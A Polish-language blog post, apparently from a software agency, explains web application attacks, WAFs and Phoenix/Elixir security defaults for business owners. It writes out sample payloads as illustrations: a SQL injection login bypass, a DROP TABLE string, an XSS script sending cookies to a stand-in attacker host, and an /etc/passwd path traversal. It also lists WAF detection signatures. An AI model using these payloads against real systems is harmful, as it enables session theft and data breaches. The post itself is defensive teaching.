Bezpieczeństwo aplikacji webowych - dlaczego firewall na serwerze to za mało i czym jest WAF
Masz firewall na serwerze. Masz certyfikat SSL. Masz hasło do panelu admina (admin123, ale to inna historia). Jesteś bezpieczny?
Nie.
Firewall sieciowy chroni przed atakami na infrastrukturę - skanowanie portów, próby SSH, pakiety z podejrzanych adresów IP. Ale Twoja aplikacja webowa działa na porcie 443 (HTTPS), który firewall celowo przepuszcza. Bo musi - to jest port, przez który wchodzą Twoi klienci. I atakujący.
Atakujący nie łamie się przez zamknięty port. Wchodzi przez otwarte drzwi - przez formularz logowania, pole wyszukiwania, upload pliku, parametr w URL. Wchodzi tą samą drogą co Twoi klienci. Firewall widzi to jako normalny ruch HTTPS. Nie ma pojęcia, że w środku jest '; DROP TABLE klienci; --.
Jak wygląda atak na aplikację webową
SQL Injection - najstarszy i wciąż najskuteczniejszy
Atakujący wpisuje w pole logowania:
Login: admin' OR '1'='1' --
Hasło: cokolwiekJeśli Twoja aplikacja buduje zapytanie SQL przez sklejanie stringów:
-- Programista napisał:
SELECT * FROM users WHERE login = 'admin' OR '1'='1' --' AND password = 'cokolwiek'
-- Baza widzi:
SELECT * FROM users WHERE login = 'admin' OR '1'='1'
-- reszta jest komentarzem
-- Warunek '1'='1' jest zawsze prawdziwy
-- Atakujący jest zalogowany jako adminTo nie jest teoria. SQL injection jest na szczycie listy OWASP Top 10 od 20 lat. W 2023 roku firma MOVEit (Progress Software) padła ofiarą SQL injection, co doprowadziło do wycieku danych 2 600 organizacji na świecie, w tym British Airways, BBC, Shell.
XSS (Cross-Site Scripting) - kradzież sesji
Atakujący wstawia kod JavaScript w pole, które wyświetla się innym użytkownikom. Komentarz na forum, opis produktu, pole "uwagi" w zamówieniu:
<script>
fetch('https://atakujacy.com/steal?cookie=' + document.cookie)
</script>Gdy inny użytkownik (np. admin) otworzy stronę z tym komentarzem, jego przeglądarka wykona ten skrypt. Cookie sesji admina leci do atakującego. Atakujący loguje się jako admin. Ma pełen dostęp do systemu.
Brute force - zgadywanie haseł
Bot próbuje zalogować się na konto admin:
Próba 1: admin / password → Błąd
Próba 2: admin / 123456 → Błąd
Próba 3: admin / admin123 → Błąd
...
Próba 847: admin / Firma2024! → Sukces847 prób × 100ms = 85 sekund. W półtorej minuty atakujący ma dostęp do panelu admina. Twój firewall widział 847 normalnych żądań HTTP na endpoint /login. Nic podejrzanego. Nie zablokował ani jednego.
Path traversal - czytanie plików serwera
Atakujący manipuluje parametrem URL:
Normalny URL: /download?file=raport.pdf
Atak: /download?file=../../../etc/passwdJeśli aplikacja nie waliduje ścieżki pliku, atakujący czyta pliki konfiguracyjne serwera. Hasła do bazy danych, klucze API, certyfikaty.
DDoS na warstwę aplikacyjną
Nie chodzi o gigabity ruchu zalewające łącze. Chodzi o sprytne zapytania, które są tanie do wysłania, ale drogie do przetworzenia:
GET /api/search?q=a&page=1&per_page=10000000
GET /api/reports?from=2000-01-01&to=2030-12-31&format=pdf
GET /api/products?include=reviews,images,variants,history,audit_logJedno zapytanie generuje raport za 30 lat. Serwer pracuje 60 sekund. 100 takich zapytań = serwer nie obsługuje nikogo innego. To jest DDoS bez botnetu - jeden laptop z pętlą.
Co widzi firewall sieciowy vs co widzi WAF
Firewall sieciowy (layer 3/4)
Widzi:
- Adresy IP (źródło, cel)
- Porty (80, 443, 22)
- Protokoły (TCP, UDP)
- Flagi pakietów
Nie widzi:
- Co jest w środku żądania HTTP
- Czy parametry URL są złośliwe
- Czy formularz zawiera SQL injection
- Czy request to brute force czy normalny login
Firewall sieciowy widzi kopertę. Nie czyta listu w środku.
WAF - Web Application Firewall (layer 7)
WAF działa na warstwie aplikacyjnej. Otwiera "kopertę" i czyta "list":
Widzi:
- Pełną treść żądania HTTP (URL, nagłówki, body, cookies)
- Wzorce ataków w parametrach (SQL injection, XSS, path traversal)
- Częstotliwość żądań z jednego IP (brute force detection)
- Anomalie w rozmiarze, formacie, strukturze żądań
- Geolokalizację źródła (kraj, ASN)
- Reputację IP (znane botnety, proxy, TOR exit nodes)
Żądanie HTTP:
POST /api/login
Content-Type: application/json
{"login": "admin' OR '1'='1' --", "password": "x"}
Firewall sieciowy: ✓ Port 443, TCP, IP dozwolone. Przepuść.
WAF: ✗ SQL injection w polu 'login'. ZABLOKUJ.Jak WAF chroni aplikację
Reguły oparte na sygnaturach
WAF zna wzorce ataków. Tysiące reguł sprawdzających znane techniki:
SQL injection:
' OR '1'='1- klasyczny bypass logowaniaUNION SELECT- wyciąganie danych z innych tabel; DROP TABLE- destrukcja bazy danychSLEEP(5)- blind SQL injection (test przez opóźnienie)
XSS:
<script>- wstrzyknięcie JavaScriptuonerror=- event handlery w tagach HTMLjavascript:- protokół JavaScript w linkacheval(- wykonanie kodu
Path traversal:
../- wychodzenie z katalogu/etc/passwd- próba czytania plików systemowych%2e%2e%2f- zakodowane../
Rate limiting - ochrona przed brute force
WAF liczy żądania z jednego IP do wrażliwych endpointów:
Reguła: /api/login - max 10 prób na minutę z jednego IP
IP 185.234.xx.xx:
09:15:01 - POST /login → OK (próba 1)
09:15:01 - POST /login → OK (próba 2)
09:15:02 - POST /login → OK (próba 3)
...
09:15:05 - POST /login → OK (próba 10)
09:15:05 - POST /login → ZABLOKOWANY (limit exceeded)
Blokada IP na 15 minut.
Alert do admina.Brute force zablokowany po 10 próbach. Normalny użytkownik, który pomylił hasło 2 razy, nie jest dotknięty.
Ochrona przed DDoS aplikacyjnym
WAF wykrywa wzorce ruchu wskazujące na atak:
- Nagły wzrost żądań z jednego IP lub podsieci
- Żądania do endpointów, które generują duże obciążenie
- Brak normalnych wzorców przeglądania (brak CSS, JS, obrazków - bo to bot, nie przeglądarka)
- Podejrzane nagłówki (brak User-Agent, nietypowy Accept)
Wirtualne łatanie (virtual patching)
Odkryto lukę w aplikacji. Naprawa wymaga tygodnia pracy programisty. WAF pozwala zablokować wektor ataku natychmiast - zanim programista naprawi kod:
Luka: parametr 'id' w /api/products/{id} pozwala na SQL injection
Naprawa w kodzie: 1 tydzień
Virtual patch w WAF: 5 minut
Reguła: /api/products/{id} - jeśli {id} zawiera cokolwiek
poza cyframi → ZABLOKUJ
Efekt: luka jest chroniona w 5 minut. Programista naprawia
kod w spokoju. WAF zdejmuje patch po naprawie.Bezpieczeństwo wbudowane w Phoenix/Elixir
WAF to warstwa zewnętrzna - chroni przed atakami z sieci. Ale najlepsza ochrona zaczyna się w kodzie. Phoenix i Elixir mają wbudowane mechanizmy, których nie trzeba "pamiętać o włączeniu" - są domyślne.
SQL injection - niemożliwy w Ecto
W Ecto (ORM Elixira) zapytania są parametryzowane domyślnie. Nie da się zbudować zapytania przez sklejanie stringów, bo API tego nie pozwala:
# Ecto - parametryzowane zapytanie (bezpieczne ZAWSZE)
Repo.all(
from u in User,
where: u.login == ^login and u.password_hash == ^hash
)
# Ecto generuje:
# SELECT * FROM users WHERE login = $1 AND password_hash = $2
# Parametry: ["admin' OR '1'='1' --", "hash"]
#
# Baza traktuje cały string jako WARTOŚĆ parametru,
# nie jako fragment SQL. Atak jest niemożliwy.W Phoenix/Ecto programista musi celowo, świadomie użyć niebezpiecznej funkcji fragment() z surowym SQL. Bezpieczny kod jest domyślny. Niebezpieczny wymaga wysiłku. To jest "secure by default".
XSS - automatyczne escapowanie w szablonach
Phoenix automatycznie escapuje wszystkie dane wyświetlane w szablonach:
# Użytkownik wpisał: <script>alert('xss')</script>
# Phoenix wyświetla: <script>alert('xss')</script>
#
# Przeglądarka widzi tekst, nie wykonuje skryptu.
# W szablonie HEEx:
<p>Komentarz: <%= @comment %></p>
# Wynik HTML:
<p>Komentarz: <script>alert('xss')</script></p>Programista nie musi pamiętać o escapowaniu. Phoenix robi to automatycznie. Żeby wyświetlić surowy HTML, trzeba celowo użyć raw() - i to natychmiast włącza alerty w code review.
LiveView - mniejsza powierzchnia ataku
LiveView fundamentalnie zmienia model bezpieczeństwa:
W React (SPA): Przeglądarka ma pełną aplikację JavaScript. Atakujący może modyfikować kod w DevTools, manipulować stanem, wywoływać API bezpośrednio. Każdy endpoint API musi sam się bronić.
W LiveView: Przeglądarka ma minimalny klient JavaScript (~30KB), który wysyła eventy i podmienia fragmenty DOM. Logika jest na serwerze. Atakujący nie ma dostępu do logiki biznesowej, stanu aplikacji, ani bezpośrednio do bazy danych. Może wysyłać eventy - ale serwer decyduje, co z nimi zrobić.
# LiveView - walidacja na serwerze, nie do obejścia
def handle_event("update_price", %{"price" => price}, socket) do
# Sprawdź uprawnienia - na serwerze, nie w przeglądarce
if socket.assigns.current_user.role != :admin do
{:noreply, put_flash(socket, :error, "Brak uprawnień")}
else
# Walidacja - na serwerze, nie w przeglądarce
case Float.parse(price) do
{value, _} when value > 0 ->
Products.update_price(socket.assigns.product, value)
{:noreply, put_flash(socket, :info, "Cena zaktualizowana")}
_ ->
{:noreply, put_flash(socket, :error, "Nieprawidłowa cena")}
end
end
endAtakujący nie może:
- Wysłać eventu "update_price" i obejść sprawdzenia roli - bo sprawdzenie jest na serwerze
- Zmodyfikować
socket.assigns- bo to stan serwera, nie klienta - Wysłać ujemnej ceny - bo walidacja jest na serwerze
- Obejść logiki przez bezpośrednie wywołanie API - bo nie ma API, jest WebSocket z binarnymi diffami
CSRF - ochrona wbudowana
Cross-Site Request Forgery - atak, w którym złośliwa strona wysyła żądanie do Twojej aplikacji w imieniu zalogowanego użytkownika. Phoenix generuje tokeny CSRF automatycznie dla każdego formularza. Żądanie bez ważnego tokenu jest odrzucane. Zero konfiguracji.
Bezpieczne sesje
Phoenix domyślnie:
- Przechowuje sesje w podpisanych, zaszyfrowanych cookies
- Ustawia flagi
HttpOnly(niedostępne dla JavaScript) iSecure(tylko HTTPS) - Ma konfigurowalny czas wygasania sesji
- Regeneruje ID sesji po logowaniu (ochrona przed session fixation)
WAF + Phoenix - obrona w głąb
Najlepsza strategia bezpieczeństwa to defense in depth - wiele warstw ochrony, z których każda łapie to, co przeszło przez poprzednią:
Atakujący musiałby przejść przez wszystkie cztery warstwy. WAF blokuje 95% ataków automatycznych. Phoenix blokuje większość tego, co przejdzie. Logika aplikacji waliduje dane. PostgreSQL izoluje dostęp na poziomie wierszy.
OWASP Top 10 - jak nasz stack odpowiada na każde zagrożenie
OWASP Top 10 to lista najczęstszych zagrożeń dla aplikacji webowych. Oto jak nasz stack je adresuje:
| # | Zagrożenie OWASP | WAF | Phoenix/Elixir | PostgreSQL |
|---|---|---|---|---|
| 1 | Broken Access Control | Rate limiting, geoblocking | LiveView (logika na serwerze), role | Row-Level Security |
| 2 | Cryptographic Failures | SSL/TLS enforcement | Argon2 (hasła), signed cookies | Szyfrowanie at rest |
| 3 | Injection (SQL, XSS) | Sygnatury ataków | Ecto (parametryzowane), auto-escape | Prepared statements |
| 4 | Insecure Design | Virtual patching | Secure by default, Changesets | Constrainty, typy |
| 5 | Security Misconfiguration | Domyślne reguły | Bezpieczne domyślne ustawienia | pg_hba.conf, SSL |
| 6 | Vulnerable Components | Blokada exploitów | mix deps.audit, Hex advisory | Regularne aktualizacje |
| 7 | Auth Failures | Brute force protection | Phx.Gen.Auth, sesje, 2FA | Audit log |
| 8 | Data Integrity Failures | Request validation | Changesets, podpisy kryptograficzne | ACID, FK constraints |
| 9 | Logging & Monitoring | Logi żądań, alerty | Telemetry, Logger, LiveDashboard | pg_stat_statements |
| 10 | SSRF | Blokada wewnętrznych IP | Walidacja URL, allowlists | Ograniczone uprawnienia |
Ile kosztuje bezpieczeństwo vs ile kosztuje jego brak
Koszt wdrożenia bezpieczeństwa
| Element | Koszt | Częstotliwość |
|---|---|---|
| WAF (Cloudflare Pro / AWS WAF) | 100-500 PLN/mies. | Miesięcznie |
| Konfiguracja WAF | 5 000-15 000 PLN | Jednorazowo |
| Audyt bezpieczeństwa | 10 000-30 000 PLN | Rocznie |
| Testy penetracyjne | 15 000-50 000 PLN | Rocznie |
| Bezpieczne praktyki w kodzie | 0 PLN (wbudowane w Phoenix) | - |
| Razem rok 1 | 35 000-100 000 PLN | |
| Razem kolejne lata | 30 000-85 000 PLN/rok |
Koszt incydentu bezpieczeństwa
| Element | Koszt |
|---|---|
| Kara RODO (do 4% obrotu) | 100 000 - miliony PLN |
| Obsługa prawna incydentu | 50 000-200 000 PLN |
| Powiadomienie poszkodowanych klientów | 20 000-100 000 PLN |
| Forensics (analiza śledcza) | 30 000-100 000 PLN |
| Naprawa systemu po włamaniu | 50 000-300 000 PLN |
| Utraceni klienci (reputacja) | Niepoliczalne |
| Razem | 250 000 - miliony PLN |
Jeden incydent kosztuje więcej niż 10 lat inwestycji w bezpieczeństwo.
Statystyki, które nie kłamią
- 30 000 stron jest hakowanych dziennie na świecie (Forbes)
- 43% ataków celuje w małe i średnie firmy (Verizon DBIR)
- 60% małych firm zamyka się w ciągu 6 miesięcy po ataku (National Cyber Security Alliance)
- Średni koszt wycieku danych to 4.45 mln USD globalnie (IBM Cost of a Data Breach 2023)
To nie są problemy "dużych korporacji". Twoja firma z 50 pracownikami jest łatwiejszym celem niż bank - bo bank ma zespół bezpieczeństwa, a Ty masz Tomka.
Checklist bezpieczeństwa dla Twojej aplikacji
Podstawy (musisz mieć)
- HTTPS na całej stronie (SSL/TLS)
- Hasła hashowane (Argon2/bcrypt, nie MD5/SHA1, nie plain text)
- Parametryzowane zapytania SQL (nie sklejanie stringów)
- Escapowanie danych wyświetlanych użytkownikowi (anty-XSS)
- Tokeny CSRF w formularzach
- Rate limiting na logowaniu (max 10 prób/minutę)
- Aktualne zależności (bez znanych podatności)
Standard (powinieneś mieć)
- WAF przed aplikacją
- Content Security Policy (CSP) nagłówki
- Bezpieczne cookie (HttpOnly, Secure, SameSite)
- Audit log (kto co kiedy)
- Automatyczne wylogowanie po bezczynności
- Polityka haseł (min. 12 znaków, bez wymogu znaków specjalnych)
- Backup szyfrowany
Zaawansowane (warto mieć)
- Dwuskładnikowe uwierzytelnianie (2FA/MFA)
- Row-Level Security w PostgreSQL
- Testy penetracyjne (raz w roku)
- Monitoring anomalii (nietypowe logowania, masowe eksporty)
- Incident response plan (co robić gdy ktoś się włamie)
- Szyfrowanie bazy at rest (TDE)
- Network segmentation (baza danych niedostępna z internetu)
Jeśli w sekcji "Podstawy" masz mniej niż 7 zaznaczonych - Twoja aplikacja jest podatna na ataki, które 15-latek może przeprowadzić z tutoriala na YouTube.
Od czego zacząć
Krok 1: Włącz WAF (dziś)
Cloudflare oferuje darmowy plan z podstawowym WAF. Zmiana DNS zajmuje 30 minut. Natychmiastowa ochrona przed najpowszechniejszymi atakami. Zero zmian w aplikacji.
Krok 2: Audyt kodu (ten tydzień)
Przejrzyj kod pod kątem:
- Czy zapytania SQL są parametryzowane?
- Czy dane wyświetlane użytkownikowi są escapowane?
- Czy logowanie ma rate limiting?
- Czy hasła są hashowane?
Jeśli odpowiedź na którekolwiek pytanie brzmi "nie" - napraw natychmiast.
Krok 3: Testy penetracyjne (ten kwartał)
Zatrudnij firmę do testów penetracyjnych. Powiedzą Ci dokładnie, gdzie są luki. To jest inwestycja, nie koszt - bo każda luka znaleziona przez pentestera to luka, której nie znajdzie atakujący.
Krok 4: Monitoring i alerty (ten miesiąc)
Skonfiguruj alerty na:
- Nieudane logowania (> 10 z jednego IP)
- Żądania z podejrzanymi parametrami
- Nietypowy ruch (nagły wzrost requestów)
- Dostęp do wrażliwych endpointów poza godzinami pracy
Twoja aplikacja jest dostępna z internetu i nie masz WAF-a? Porozmawiajmy - pomożemy zabezpieczyć Twój system, zanim ktoś inny znajdzie luki za Ciebie.